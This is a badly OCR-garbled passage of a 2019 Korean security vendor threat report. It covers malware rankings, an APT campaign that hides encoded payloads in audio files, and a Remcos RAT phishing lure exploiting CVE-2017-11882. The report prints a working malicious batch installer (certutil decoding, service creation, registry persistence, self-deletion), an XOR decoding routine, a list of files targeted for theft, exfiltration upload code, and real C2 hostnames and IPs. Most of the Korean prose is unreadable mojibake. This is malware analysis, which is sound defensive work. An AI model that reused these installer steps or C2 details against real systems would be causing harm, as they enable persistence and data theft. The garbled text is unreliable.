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O|AEAIFE[E| AF2|EICHSME(ESRONM= 2 & =0 X[ 2018 H 1 S R UH = &

OiCkE XEX[6k= RaaS(Ransomware as a Service)2| CHEZFA ZHESZH 2HMQI02] HEAIE H2[610]
O|AEAREE| Yo S=T101| EAEISIRSLICE HEFR0| OEA| HatohR!, B0t LSS A=
CHSotl J=A| &2 2RIH 4= U= TIE S2710 HZEolMA & =23 2QlEA = RS H&e EELICE
EE I 20| TSt JEHO| AR/ 1St O|HIUZ MBS SAEE il= THET 3 HHE9I00] TSt CHH RS
M= = 20| £fA A= Ztei|rt,

** ZHE FH(GandCrab) 2HA9)I0] HIZte| HEAL
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=X S

2ied o= TOP15

2019 H 2 E9|
Gen:Variant.Razy.330116 LETA =T} MEA 3 2 S2tek=0| 0]
3 Al mIO|C}, SAXS0| S4S e

2 AMTAE Top 15 SAENME= X[ 2019 H 1 20j 1, 2 YIE XFKIREH Trojan.Agent.gen,
Misc.HackTool AutoKMS O O = Top 15 2IAENIME FHA| 1,2 KIZ XFXRICE 2|AE|
= oOtMACE =
OF— AL

M, 7F &2 2 Higdt =

RAEE| O AJRIE
5

t0] O|m| 2t

LS1T- T =

aOT = "1

2 0|20

AAE S0JX]

HROACI IkF o7} HQolCt,
o= obdTAE T K| XiAl= K|t 1 21t CHHISIO] IH| Zast FME 2Lt
=2 == ObE T = s SRS
1 - Trojan.Agent.gen Trojan 807,706
2 - Misc.HackTool. AutoKMS Trojan 594,093
3 New Gen:Variant.Razy.330116 Trojan 520,348
4 t1 Trojan.HTML.Ramnit.A Trojan 395,595
5 New Hosts.media.opencandy.com Host 344,075
6 13 Trojan.LNK.Gen Trojan 286,084
7 I Trojan.ShadowBrokers.A Trojan 273,494
8 15 Misc.HackTool.KMSActivator Trojan 205,321
9 I Misc.Keygen Trojan 140,039
10 - Misc.Riskware.TunMirror Trojan 122,426
11 L4 Win32.Neshta.A Virus 121,039
12 13 Worm.ACAD.Kenilfe Worm 114,964
13 New Win32.Ramnit.Dam Virus 106,746
14 I3 Worm.ACAD.Bursted Worm 103,716
15 New Trojan.Iframe.KX Trojan 102,660
R AOE AR ZESHIE Shiolo] st a9 201902 201 2¥~2019 302 228 Y
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= ATHO|90f (Spyware)

= O =E20f (Adware)

® F[2FH (Exploit)

=& (Worm)

= 7|E} (Etc)

m B0 (Backdoor)

= HIO|2A (Virus)
510IXH# (Hijacker)

nSAET! (Host)

2 20il= 1 2t H| w5t EZ0|=0KTrojan) AETE A 7HEI112] HIZ0| B713HH, #(Worm) {0 2 2ol

1 2ot H| WSl ZHoZ EQUCt ESt SAE TR Host)s HZsk= AMHTE R0 AR

EZ0| S0t (Trojan)
A0 (Spyware)
OHERI0{(Adware)
50| XH7{(Hijacker)

& (Worm) \

F| 2 (Exploit)
HHO|HA (Virus)
8 = 0(Backdoor)
SAEIA(Host)

7|EHEtc)
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78%
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1. SA2| SIS Tsk= APT 34
QL0 S2HsH HO0|AOperation
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121 SO0 SOl 25al= 7 (210l ATIOf IAYSpear Phishing) B20] 23l 242
S wi SRR APT(RIS SRS OIE) 32 Ysto2 SMEQISLIC,

2019 H 03 06 & U=

SHOIGIHT, S FHO| 59

1
rt

B MP3 S3 U= et HE| Q{0 P4 SISt HO |- HiEy

Z|x 2 'HE 2A0|2k= 0|H|Y HZO=Z 43HHOM '3|9| XIZ Protected.zip’ M0| HMEE|0] URSLICY

ESRC OfiAM= O AO|H 2 (Opsec)2 2416k IFHUIA ZZXP L 'S243HBlackHat) 0 |2H= APES ArEsh
HHM{(C2) MHE =0t Al S =3 LS &85 EX0|| 2ok '2MH S48 HO|A(Operation
Blackhat Voice) & HEHMSLICT
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H

ESRC i= 3l S24S TIU5| FE{ot= IO 0I0] Xlct 2 8 URE| SUSH THO| 23 MBS TASLIC

— i PVN =]

0

2709 SA2 f 1 Y 9| 7S Ful TIRATIRICH, M MJHO0| Zi2h =X, L0 et ofd W2
St Aoz EAFEUC

2019 2 02 & 27 Uof| ~2HE oFd O|H[YU2| M=2 'S= XI2! Xt=0|H, ‘=53 13914778351()iao Hu Interpretor
Transformed) .3gp .zip &= TIA0| MF (0] USLIC

2|4 2R0E XRIC=HH S0i2 S2A= 0| 2RI6HTAI7| HIRLICE TR HIH: china0210" &7t Zaf=|0]
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5= Aol A=

% =513914778351(Jia...
2 MEB

FU=2=28H S0 s5HEUM Z2UsFA7| sE L

ot H| H: chinad210

4
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02 H27H 22t 711

= E Lo 27 L

o
1%

28| A= Protected zip - 2

[=] A

=]

¥s. BE37| $ED

—

2,049

-

—

=W

2127, 2019-02-20 PM 03:04:26

=213914778351(Jiac Hu Interpretor Transformed) 3gp zip - 2&

g3 HE3Y =ET

2,049,

Lk
=

2127, 2019-02-20 PM 03:04:26

W 2P TC ARHA FA]

[ 3] = I Hlwl 5

S0l AEE AH| HIO|HZ{(exe) TIU2 LSO 'MP3, WAVE 2IAAS 7EXLT USLICE

MP3E|AAO= AA| S IHU0| 0] UCH, WAVE' 2|AAN= 32 HIER} 64 HIER FEE QHTETL

BASE64 SEll= QTG0 JUSLIC,

w [ ™MP3T ~ Offset
[ 145 [EH(@F] 00000000 41 58 66 €D T4 20 RIFFG ..WAVELmE.
v 3 "wave 00000010 28 00 44 ac 00 00 [ ......... +..0A..
[ 143 [EH(@F] 00000020 SF 17 00 00 00 OO data@ ......
(] 144 [SCHOI) 00000030 00 00 00 00 00 00 || coveevinvnnnnnns
v [ Bitmap 00000040 a0 N 00 ] e
] 129 [EC(EI=) 00000050 oo |[WAVESIH 20H,, || ................
#9130 [B(TI=) 00000060 00 00 00 00 || .eviiniiiian,
{§ 30994 [FC(TI=) 00000070 00 00 00 00 || .o
19 30996 [ZC(0I=)] 00000080 41 41 45 41 TVNDRGAABALAMOEA
v [ cursor 00000080 41 41 41 41 AAARACWARARRARRD
# 30977 [EC(2I=] DO0000AD 41 ol 1 LWEBAAFARAARARLL
# 30998 (ST 00000080 51“:AB g BASEE4‘1 RAABRAAUARQRATATA
+5 30999 [ZH(I=)] 000000C0 41 56 45 35 61 65 43 . .ABAARRRAVESaeC
b 31000 [SSH(DI=)] 00000000 73 62 41 43 €1 57 74 i
8 143 bin_bases4_decode.cab - O *
File Commands Tocls Favorites Options  Help
= — — . x>
3] (I m € Ny @
Add  ExtractTo  Test Delete Find Wizar Info
T+ |m 143 .bin_basef4_decode.cab - CAB archive, unpacked size[150,528 b ~
Mame Size  Modified CRC32
== =) Selected 150,528 bytes in 1 file Total 150,528 bytes in 1 file

[ 4] 2A0]| 26| 274K 4= 2= 31
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71 U2 FEREf= BASE6S YAO=Z QIFTE|0 U= CABIMSCF) MHU0| ZEHE|0] RLSLICH.

CAB USOIY LIRS ATEHE 143 2| AA0= 32 HIES 2ETE 'svedll LUO0| 0] UL 144 2|2 A 0=
64 HEE 2T E 'svedll THUO| ILHHE(0] RESLIC

0| MAUS =5 AAH EH Z20] Adsvrdll TIUHO= |0 ZSTILICH,

MP3' 2lAA0 HetE M2 AK|Z S=7QI1S0] telsh= S I mysongmp37tHEXoHL, AET =T ARHEH

Ch=2t 20| 2| 20| 0ITIo] Z20]0 Sall XS IHAELIT,

S=0Z Hicfots =5 IY0= S= - 2= - B[ 72| SR SEXIHR! 20 ZA0f Choll 5+ A0

R HHS Lise LHES Hi JUSLICE

& Media Player u

P
© O

—_
|

[(12] 4-1] DI 220101 2824 5fH

svedll 2EF=E2019'H 02 E 21 € HEIEICH, £ HRY 8 (XOR0x25)E Sl LiF 2AIES

ToLl—1

==slotA LI,
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{char =){al + 1);
{{unsigned int}{v2 - 1) >> 1) + 1;

={ulh - 1);
vh > 5F )
—= ?;

*=Ul;

16 *= UG ;
#ylh <= LF)
= uf — LB;

9 = u7 - 55,
[w3] = (v? + uB)

-

Bx25;
Ul += 2
++u3;
--u5;
b
while { v5 J;
¥
[v3] = B;
result = H

[F12! 5] =XIE CIFE XOR 0x25 & 3

TIE 2AE Soll= DSt Z20] HIEXD], 23 e, A1 IfE So| LiYet H0|HE o8 AM=dl= 7IsE
(o],

o
7R AU SZR= 78 SUME S8 S5 2FIE Sol 288 +2IK| 1E s &

*bitcoin* *paypal* *wallet* *.rdp *.vnc *.cer *.spc *.pvk *credit* *bank* *password* *pwd* * pdf* doc *.docx * xls * xlsx
* rar* zip * txt *.rtf * jpg * png *.gif *.htm * html *.chm *xaml * template *.Ink *.asp *.php
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bitcoin
paypal
wallet
.rdp
.vnc
.cer
.SpcC
.pvk
credit
bank
password
pwd
.pdf
.doc
-.docx
.xls

.X1sx

.rar
.Zip

LExt

.rtf

-Jp8

.png

.gif

.htm
-html
.chm
.xaml
.template
.1nk

.asp

.php

RN

ot dil TU0| 2=EIH, ‘addrdat’ TS Soll SAXHS7AE 2 7H2] BHMONC2) MHet StE A5k Zh=E,
ofLt= FTP 7[212] & MHULCE

- ftp.drivehg.com

- blackhat.1apps.com
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&us,

“1hrtn®

3111986821 | | 43515508157 4C53 8048058 0B4G64AL8 | | |SO64DSAS2FASZHAST AN

111190888 | | 474944864 E8D 4451061444 5555560B464A48 | | | 9B AAth-¥n®,

0x80u};
wsprintfW{&FileHame, L"%sWtaddr.dat", & ¥;
uf = CreateFileW{&FileHame, Ox800000080, 6, 68, 3u, Bx80u, B);
if { vd == (HAHDLE}-1 )}
{

= ﬂ;
(&u5);

return (uvoid =}1;
¥
CloseHandle{v@);
result = {uvoid =) {&FileHame, &u3);
u2 = result;
if { result )
{

(result});
(u2);

return (uvoid =)1;

¥

return result;

[ 7] SBHHC2) Mot Shioh= 2

HHRIO(C2) Mt SLI0| OJRK|H AR s74= E LIE A-ETEES LRSS EUC.

CIQFSH 0| CHS! CIREEE A|TSH=0|, 249 THA| Wp32.txt' IO | CHREE E[QISLICE
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3315 blackhat.1apps.com text/html 1245 bytes syupdate png
3320  blackhat.1apps.com text/html 1245 bytes syupdate png
3323 blackhat.1apps.com text/html 1245 bytes addr png
3330 blackhat.1apps.com text/html 1245 bytes addr.png
3912 blackhat.1apps.com text/html 1245 bytes svupdate.png
3916 blackhat.1apps.com text/html 1245 bytes svupdate.png
3921 blackhat.lapps.com text/html 1245 bytes task.png
3929  blackhat.1apps.com image/png 46 bytes task png
3932  blackhat.1apps.com text/html 1245 bytes wp32 bt
4354 blackhat.1apps.com text/plain 465 kB wp32 txt

</body>

</html>

GET |  /wp32.txt|HTTR/1.1

Connection: Keep-Alive

User-Apgent: Mozilla/4.8 (compatible; MSIE 8.8; Win32)
H05t1 blackhat.lapps.com

HTTP/1.1 288 0K

Content-Type: text/plain

Last-Modified: Thu, 28 Feb 2019 N GMT
Accept-Ranges: bytes

ETag: [N

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

Date: Thu, @7 Mar 2019 N GMT
Content-Length: 465784

TVNDRgAAAADCKgUAAAAAACWAAAAAAAAAAWEBAAEAAAAAAAAACWAAABMAAQAALZKA
AAAAAAAAKEAZmSAADIALT Gxs AMFCIWKY j RwCAQBvtvX98FMeRODg /M5 TWW I gFr7Bs
y 7Y c5TuclY7sxTFiAUugXQnDipWEdk1AErl1zdL KekxBpBzsX58aMFtRgDcYHd nwl(
scmZfB/vedyd7dyFMBh2IUArgMk IAYHxS5ZtkexIZ8tGgQVkzbeqgdla /+0Hc 9+ l+
t7zPgd927 rqrgburgbgqruntovil/dwvEcxwnwp2kcl8rp/7K5r /4Xg79pd 785 jdsz
bdf3tlgll/fgeFIWP1la5trf7R31Z/7wdpf /09H/ 7wREGEV / 5+WrXew/ THT5ilu /wd

[ blackhatlapps.com x 4+

& G @ Z=° 2% | blackhat.1apps.com/... E

——BEGIN CERT IFICATE——

TYHOFRgA A ADCK GUAS A4 A4 Cw A4 8.0 00 00 00 wERS AELA A4 4.0 08 4CTwo 0.0 B A0 I ALIGK &
Adh A0 80 A EAT NS 8030 UG sAM f CHEY | PwCALC ty X95FMePODg M5 W gFr 7Bs
e luc Y Pex TF i LugitnDi pWEdk | AEr | zdLEek xBpBzs X5 0aMFt RoDc Hd w0
scmZf BAve Jed 7y FMBR 2 LA ra Wk | AYHEFtk aw | 25t GalWkzbegZ 1 a,/+CHe O+l +
f7=Pg 4327 rqrqBu rabq runt BeNdwwEcxwnwp 2l Srp/Er /A%9 M Epd 785] dez
Bdf 3t JaW/ foeF AP 65t r 7R3 2 Twd pf A0SH,TwREGED A+ rx Dw T HT 51 WuTwd
T Aoz A0+ d0 ndwlF +2z i cvHEERuu] A9 TuSu9r g+k+z/qr rPLye0vUhu 369694 h
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F712 Ch22EEl= ORUE BASE64 TE=Z (AB MU0| AIZFE0] LM, = 0 LIF0fh= 'wp.dll IO
|0 USLIC,

wpdll TF42 2019 H 02 & 28 U M= A= THU0H| EE0] R, AK| F== 2019 H 03 01 &
M| RS

[ | wp32.txt base6d.cab — O >

File Commands Tools Favorites Opticns Help

e BOm e @

Add Extract To  Test Wiew Celete Find Wizard Info

1 ﬂ wp32.tut basedd cab - CAB archive, unpacked size 610,816 bytes w

Name Size  Modified CRC32

wpdll 610,816 2019-02-28 2% 7:09

- =) Total 610,816 bytes in 1 file

[ 9] CEEE Wp32.6xdt' LHF0 20 U= k7= S

wpdll 24 TS 'wingdll O]2k= IIIHO 2 'C:\ProgramData\Microsoft\Windows \Ringtones' 51| ZZ0|

—
=T ZHEE AR et YEE sl RES Alok= 7Iss +dokA gL

£35|, 3=(Chrome), 2E[2HOpera), QE{SIAAZSZ2(|E) S| AEHE +ES Al ZEE AREQ B2tK

MY DS AuEN

ESTsecurity (opyright © 2019 ESTsecurity Corp. Al rights reserved.
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db "694A46GL4N9A56455556 144514, .8

align
db " F96Z24ANANZHINA7OGGHDSTUALNELA7OTAS6HAS 7 A5G 1 HAS14L7O0FBBOF " , 0

WioogleWChrometilser Datathx_x=
align

» “[Chrome]Z>
du . .
align
db 6455556144514, .8
; AppData
align
db “796ASS4B57LLO5764AL351524L0E 7 A7 O0FBBAE ", 0

;. DATA XREF ;_sub_-186874C10+447 0
; Wopera Softwareblx_ x

align

» <[0peral>
du . .
db "URL ".8
align
db " FOUALISAG2LLL AT 6B C 65 FUAS6UALIS1TI6CBS14A574BLAS16856A5D5540, "

db "ASF4UBSF7O6CUBS 1AM NC63 AL FURCG7 9765 1HASTHLL2LE1T" , 0
align ; SoftwarediicrosoftWInternet Explorer#IntelliFormsWStorage2

db ‘webpass::IE Get5torage2: 1',8

(724 10] 265 & ERIOK) X1 47 2201

M Tactics, Techniques and Procedures (TTPs) 7 EFA 2] Al2| Hw 224

ESRC = O|H '@I2{|0|M =23 HO|A(Operation Blackhat Voice) ZHHQIS Tl 7[EIOZ FXi6H= 1PHUA K|t
[0}

20183 09 & 27 L0i| 0[0] FARRH AJO|H] ZPHO| o S 2lRlst 4 AASLIT,

i

A SA2 MRS =SA=XY +LXE =0l AU, OfHt OFXVIX|Z HIHO0|2k= Eoit iselE
REIES ol U= SSHO| EXHLC.

MIL—

BZRK= TRIEQ! SRO0IM 4712 01 SUS TXIS 7M1 ARSI UUSLIC

| —

ESTsecurity



02 HE7t 22t 7|1

RHAE =SX2 BRI AANHEAI] BI—ELCL  201-09-27 (=)

) 2 MSnE (4MB)
Recorded2018_09_26_09_55_PM_androidPhone. zip 4MB

GBS, REEE F VAP HEEAN S U BoAHEAD
CHALS 0|3 Q0| %7|% LEB TASZFA7| HHELICH

U HILEHY A0 HELos B B3| HES A EAYLCH

K

LU s 2 edu2018Q LICH

[7Z11]2018 2 09 & 4E RAHSZ AR 3fH

2018 A S0 ARSE I} 2019 H SH0| AFSE DfUe| LR 71225 H|wsl = Zit Aol St 7122 71|
oot |C}
AMAMEH .

CH2E 2018 H0i MEFE! 2Fd M2 2|AA| ' WAVE' 1 ZH2ES ZEXLT AAUCH, SHF 2IAA0| 134,143,144
2|AAE TS5 USLICE

- 134 :WAVE E°2H9| ot=20{ S-&m et
- 143 :WAVE ofH= ?1Ee! 32 HIES 2fd CAB IIO| BASEG4 =
- 144 :WAVE ol[Cl= /&t 64 HIEE 2Fd CAB IIIJC| BASE64 T=

PERX 2HAN| E3HE 71201 2t Cab DU0| AE&=[=0], WinmgntSvetxt MUHO = MME S Chgat 242
HHX|IFY installbat) certutilexe’ B 2f6H WinmgntSvc.cab' LIUHOZ MM Q1= SHKI= DIUS0| A|AH
4E 30| 2l =74T = =X Aot EU

@echo off

:COPYFILE

c

cd "%AppData%\NewWindow"

md DiagSvc ) nul

certutil -decode WinmgntSve.txt WinmgntSve.cab ) nul

ESTsecurity Copyright © 2019 ESTsecurity Corp. All rights reserved. 17
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expand WinmgntSvc.cab —F* DiagSvc ) nul

move /y DiagSvc\WinmgntSvc.dll %systemroot%)\System32 ) nul

md %systemroot%\System32\Recovery ) nul

move /y DiagSvc\mscvp14.dll Yesystemroot%\System32\Recovery ) nul
md %systemroot%\System32\spool ) nul

move /y DiagSvc\msprxy.dll %systemroot%\System32\spool ) nul

del /f /g WinmgntSvc.cab ) nul

del /f /q WinmgntSvc.txt ) nul

rmdir /q DiagSvc ) nul

:INSTALL

sc create Winmgn1 binpath="%systemroot%\System32\svchost.exe -k LocalServiceNetwork' DisplayName=
"Windows Management Instrumentration” ) nul

sc description Winmgn1 "Provides a common interface and object model to access management information about
operating") nul

sc stop Winmgn1 ) nul

sc config Winmgn1 type= own start= auto error= normal binpath= "%systemroot%\System32\svchost.exe —k
LocalServiceNetwork" ) nul

reg add "HKLM\SOFTWARE \Microsoft\Windows NT\CurrentVersion\SvcHost" /v LocalServiceNetwork /t
REG_MULTI_SZ /d "Winmgn1" /f nul

reg add "HKLM\SYSTEM\CurrentControlSet\Services\Winmgn1\Parameters" /v ServiceDIl /t REG_EXPAND_SZ /d
"Yesystemroot%\System32\WinmgntSve.dll’ /) nul

sc start Winmgn1 ) nul
ping—-n2127.0.0.1 ) nul

del /f /q%~dpnx0 ) nul
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CAB I LHE0fl= "mscvp14.dlL, msprxy.dll, WinmgntSve.dll S 3 7H2] miI0| ESHE| Q=] MUHS OFX|
00|32 AZEALS| AJAR MUK WHGHA| St JUSLICH
s} o

ot =S oliMiols 42 A A H=dh= AS & 5 USLC

Z1210| mAU2 2019 A 3 oj| U7AE PgTERt SUsH [T 2EIS K| USLICE

al,
short loc_184881811
al,

cl, ds:byte_ 18887821[edx]
al,
cl,
cshort loc_18081024
cl,
short loc_186810627

al, cl
al,
edx,

byte_1800A798[esi], al

Short loc_ 10061649
al,

cl, [edx]

al,

cl,

short loc_18881658
cl,

short loc_1888165B

al, cl

al,

byte 188241B8[edi], al
edx,

edi

Adsvr.dil / 2019-02-21 08:02:51 (KST)

esi

mscvpl4.dil / 2018-09-27 03:03:23 (KST)

[ 12] b= =X1E TR ke Hlw 3fH

P 2018 H 4 HIEH| AFZE 2|AANE S =3IA0| Z3tE|0 =0, Ol AR E =30= st=2l
LM 2 HO| 31202 CHEfoH= LHRO| B Q= gx 0| Q&LICH

LS 320 AZE 'mspry.dil == 2M6 HH, 7|22t sIHAX S| EEF 7SS 7K A9, tizt
22 BHNO(C2) FAE ALY,

—195.22.237.54
-201.236.103.27
-72.68.15837

T12|7 Ot 242 'Content-Type: multipart/form-data’ SIS AR2EHLICE
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gmemcpy(&pwszHeaders, L'Content-Type: multipart/form-data; boundary=", 0x58u);

gmemcpy(&v30, L" 67491722032265", 0x57u);

gmemcpy((void *)@1 +212), "Content-Type: application/octet-stream\r\n\r\n", 0x2Bu);

gmemcpy((void *)@1 +84)," 67491722032265\r\n", 0x2Eu);

gmemcpy((void *)@1 +340), "\r\n 67491722032265—\r\n", 0x32u);
sub_1000A9D0(@1 + 20, a1 +468);
sub_1000A9D0(2, a1 + 596);

strcpy_s((char*)@1 + 724), 0x190u, "Content-Disposition: form—data; name=\"txt\"; filename=\"";

char v23; // clE1a

int v24; // [sp+8h] [bp-318h]E11

int vw25; s/ [sp+Ch] [bp-314h]E@7

int w26; // [sp+18h] [bp-318h]@9

WCHAR v27; // [sp+18h] [bp-388h]@17

CHAR MultiByteStr[260]; // [sp+118h] [bp-288h]@3
WCHAR pwszHeaders; /7 [sp+21Ch] [bp=184h]@1

char v3d@; // [sp+274h] [bp-ACh]E1

{&pwszHeaders, L"Content-Type: multipart/form-data; boundary=", Bx58u);
{&uw3B, L G7491722832265", Bx57u);
((void *){al1 + 212), "Content-Type: application/octet-streamérinth-¥n™, Bx2Bu);
{({uvoid =)(al + 84), " G74917220832265W ", B8x2Eu);
{({uvoid =){al + 348), "Wr¥n G74017220832265-—%r¥n", B8x32u);
(a1l + 28, a1 + 468);
(2, al + 596);
((char =){al + 724), 8x198u, “"Content-Disposition: form-data; name=W"txtW"; filename
(={const wchar_t ==){al + 88), B8x25Cuj};
vl + 1;
{__dint16 =){u3d + 1);
{inty{uvs + 1);

[72] 13]'msprxy.dil 27 LI F= S

CHeHI=o| BESET JH2Y CHS 21 2018 H 02 & 10 Yoil= 'SehEAAE (AXIAAT012H= Li82=
TIHE APT S A7 AR_S L.

Cf| O] E(S) xpsvbs 2 0| ALBEIU=M|, S8

0] 3201 201802 07 XA il T 53
° 2l X [oHA| ELICH.

HRARIOYC2) AlHet SAIS BHL, 271X

nx e

71 2P0l HEE AREC| =lHE BAoll, 7|2 S5 o0 AHE TEE AM=ok= O 0| AlZsk= TZl0]

Chsadt ZELL.
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Accept-Encoding: identity
Content-Length:

Content-Type: multipart/form-data;
Connection: close
User-fAgent:

POST fupload.php HTTP/1.1

-------------------- 67491722032265

Content-Disposition: form-data; name="Index"

67491722832265

ESRCOIM= O] 28 HiSE FXok= 1IFd S0l 58 ZR2 8=

7 ARSI,

| o= ZE APt KiSdh= F= O|H|Y AH|AL]
Al 2AE HE UL

0I5 T2 +A7H BRQI0| o=2] 7|1Y R 71 S
2ot 0|9 Hot Ze/t Q41&| 1 UFLICE
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L1615 =21= OP7= RAT S RESH=S

Ol"’"?a' =2

2019 03 & 11 & ESRCOfM= LT URTIY 22K egg)S 01Z3H RAT S O[H[UZ RESh= SAS
HXGIRASLICE.

0 B2 MoISHS HIGRIE LSO 0|HUR QEE|T U, O[H M0l 'Soi5H HI0 ARIGH=
B3 YT aUD

X MBS (il of lading)

oftef=2SA 20 [E 25==0] 8 = X

rulo
flo
Ho

2150l 1 =2F9| A=HAHE ZAl=tet

ol

—_

Ea._r lxr 0|u1|°' Eﬂﬂolj CHINA SEAGROUP & ARl &K 0] 182 2ol0| XY HEXME 8510

MmOl EIOIE HA| "MEISHER! SSHKH8110002.eg8'C= AlN| sHAIRS SINOA EH S5t ML MU=
FREULCL
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o

2 E2E

shadoc2@chinaseagroup.com
FH: 955 W FYl SSHKH8110002

e --l:_;

BB unSAReI sSHHE.

HRWMY MFEM MEQUUCH -- 3/112 2F SAIZIRA S2AFIAID EFH FHA2.

1HEFHAHEZ L. SEF0 BS0| A2 L2AFAID sl 228 2140| AW 018 AZUHZHNESHN 0f(d e
HIRE LUANZ A = A ADE REFAaUCH

op

2. 43S F2YUN, FOIZASUNAE 2 I35 S 93 copyS AIEEIGL 22310, BISA| 32 $¥22

AEEICID f2= =BAIEZ 22 APUCH
22 ESME 2UT BISA| 43t83 0 RLE shippere] S & R 0{0} 8CH

3. M3 SN0| WO| ASB UEH % HSUCH WE HBY + AW DIBUK BB OIF2E H5BUN BEAG S
2 2 + Asuct,

A3 ZE ol ChEHH 2= 22100 0| LoD 2t EC DX Q20 SHYM BSE 2 & A0ICH

ZEHT Al Lol 43I SA & |AABAR. 2TA B2F RNIRS0IL USISA It 2310 EUCH

22Ut AADL |$OHEL| (HFU RE 20t 8S2UCHE A S Mol 23R XS0l Wt WAHBE IR, SAtE
SYE YD LU= 0l S0H/EE U sl=0 I3 FHM SAIRIUCH

FOMM B8 838 2Ys1E $OIM FIOIM 6.83% 8 FO12 Z38t0, LEIEN A2AA O X &3 FA10) BHEUCH

12 E GARR| "SODIRIM 2eF+F'2 2F IASTUNLSD FRNSFLBP2= HEFD ASUCH

olig ok O[22 E57 L/t OF MISISBE LR E 7Y HEAES ERICE USE/ION, 'F0lsk=

HEfe \RIOR ARIBHS OS5I ESHOR B LHRO| AMEIMELICE

HEOA MOIEH MELICE —3/11 Y 2% 5 APIIK| ZRISHA|I L Holf FHAR.
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1. B, HEEE, ST HS0| QUOH UFAP| HII, St 1A10| GOB 01 XIBHZ JHESI0]

Ojmel HIgS THAIZXE AP EEOISLICH

2. MBS FEQILIL F7 AR (B2 HISES 45 copy 2 XISSICIT 26k, HioA| &
LHOR XZBICIP 2= 222 =L ZRALIH
ME2 BENS BRI HICA| MOS0 = shipper o] EXZ HO{of SiC)

STHO|

O —

Ol

3. A15I5H0| IR0| GlSS LiEH 4= QISLICE IRE MISE &= AlQH HV |SMH| BE JT[ECe= M

HAEEZ 2 & o USUC

Xig B 0j 20l 7h= S240f| 10| Qo™ oF ElCt JHX| 0™ =X 2lofiM B3 =4 2 A0ICH

ol AlZE LHO| oIS S 2RISIMIL, JZX| ™ X[HLF0|Lt MolSH=z 7+ 2rdstA| ElLICH

Lt HARE SRR ThELE HE HET L HERIME XS Mol SEoH] iS00 Mt APHEE B2, SAk=E
S 1 THEAGH= Tl 50 I/ ES B Ef=C s FAM ZARILCH

F7IM T8 8= ZrdoldE B F71M| 6.83%S F/I2 Fa=oll, Aot57H 2RIA|0 MiZoH F=A17| HIZLICS.
12 ERE A 'FI/P RN 2EdeF 2 RF FXSET W61 MASEHRHEOZ HESH ASUC

EE0| U= F22 ZH2 HIE 221 A| HIESHIAL. EHEIS B2 = shipper O[H[EZ ELHRL| Z=O[5HA
LOIEHAL!

AT,

China Sea Marine Co., Ltd.

16F. No.525,Si-Chuan North Road,shanghai,china

Tel: +86 6336 5500 Ext 207/107 QQ: 792180568

Remark: 2019/03/010 Y= ZAIRMB20/EVGM 232 F/I=2 SHELICH

MRS [0 SZ2 E0{EH TS 20| pdf WUZ ARSI A|=8t scr(Screensaver) 2RI} IFI0|
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-G MBS ABR SSHKH81100(

QmeSOs MBS AEQ SSHKHB110002.egg - 2T
) & ’ha o 58 oo|=
1 4 ° E [+ i e
orgmy HIEAE NEUS Us% TYST m ]
Chid - = XpA
2K us oy = e TA P R2E=
S0 @ M x| By i 53| a=37|
[a MSiS AR P! SSHKHB110002,PDF scr 403,010 643,072

ESRC OfiM= offg M0] CVE-2017-11882 FAES

HotE A= 206

[T212] scr SFEKIE 7RI b !

012510 REZIAE Remcos RAT 2| ZAHT(v2.2.0 pro)0|

v ~)
strcpy(&Format,
strcat(&Farmat,

strcat(&Format,

"% REMCOS v

n * Breaking-Security.Net\n\n");

‘Copyright (C) AhnlLab, Inc. 1988-2016. All rights reserved. LI2S

ESTsecurity (opyright © 2019 ESTsecurity Corp. All rights reserved.

£ ZH2 S0I6} BT S0|ERIAE 7|5t HORSRM 95| SHOR Off

[ 3]REMCOSVv2.2.0 Pro %42 28l obd F=
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] M= A0 SSHKHS110002,PDF screxe A X

b =3 20t XHMS| oM HH

&4 ot
£3
e 23 ASDF WSC Control Application
£ SE =20
org HE 2.5.0.15
HEZ oE ASD Framework

HE =53 2.5.0.1

Copyright (C) AhnLab, Inc. 1988-2016. All rights r

37| 628KB

=Hs EN 2019-03-10 2= 12:01
2101 S @=)

HE o2 0|Z ASDWsc.exe

O|HIY MR IUS| MAF2 Tt ZEUCt

- MotE A=l SSHKH8110002,PDF.scr b= SEMZ AE,

OII

Rlo} AP AREI0IRU scr Tfelg PDF IRIZ A2{510] AIYSITIE RAT Ol 2420] S1, AP} 2ol
72t FE 2 HOJE 52| Hi = B2 WL 01013 BAMIX| JKS5I0, A} 20N ZE PCE
OISCHE CIS 4 QU £17] TH20) X018 71S010F BLICH
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@ REMCOS v2.0 Professional

@ Connections (7) g5y Proxy Servers ) Automatic Tasks {3} Local Settings 3% Agent Buider |[=] EventLog (76) @@ About

Location Assigned Name  Operating System Computer/User System Uptime  Idle time Active Window

[0 Htaty Home-PC Windows 10 Pro (64 bit) DESKTOP-NQS5126... 28 hours 0 mins REMCOS v2.0 Professional
&S United States Lab 1 Windows 7 Ultimate (32 bit) 2 hours C:\Program Files\internet Explorer\iexg
= |1 : RS oo @  Screen Capture

%= United States Lab 2 Microsoft Windows XP (32 bit)

¥ Germany, ... RemoteOffice Windows 7 Ultimate (64 bit)

&= United States Lab 3 Windows 10 Pro Insider Previ...
S United States Lab 4 Windows Server 2012 R2 Dat...
&l china Remote Host Microsoft Windows XP (32 bit)

S mins Windows XP Tour
File Manager

&

21 mins Program Manager

File Search | 17 mins C:\Program Files (x86)\Internet Explor
Process Manager 0 mins REMCOS v2.0 Professional

5 mins THINGEERRS

Service Manager

8QeE

Registry Editor
Installed Programs
Window Manager
Clipboard Manager
Execute command
Command Line

Remote Scripting
<

Set Wallpaper

Listening ports: 2404 (P), 2297 (P) Power Manager

B
B
=
g—u
Z
©
i

Host Info

Keylogger
ScreenLogger
Webcam Capture
Microphone Capture

Password Recovery

SOCKS Proxy
Download&Execute

W @nie g

Open webpage

DLL Loader
MessageBox
Chat

s )
o

9 ]

Fun Functions

Rename

Ping
Reconnect
Restart
Update
Close

Uninstall

[72! 5] Remcos RAT

SiXf M= S LT =0 CHSH Backdoor.Remcos A C2 EfXIS0| UELICE

2
https://brica.de/alerts/alert/public/1213017/new-remcos-rat-variant-is-spreading—by—exploiting—cve-2017-
11882/
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[Trojan.Android.InfoStealer]
OFMTAC EA HUA

1. 70

= SH0|AENC| F|efst HOtOZ Q1510 E0[AENE Sot AW FEJ| HIHGHA| “”‘”35’_ QL.
QEZ0|EE AMESH= A7t BTz A2 12olH U1 flaist H=20|C) O[EA REL=
23, ALO| Y, M 7a*%‘—l S0O=F RIS Trojan.Android.InfoStealer = L[GHAIR| ADIEZES %a S

7T SH0|H 2Ffet YSSIHE SHOZ Uit

rir
HIIO

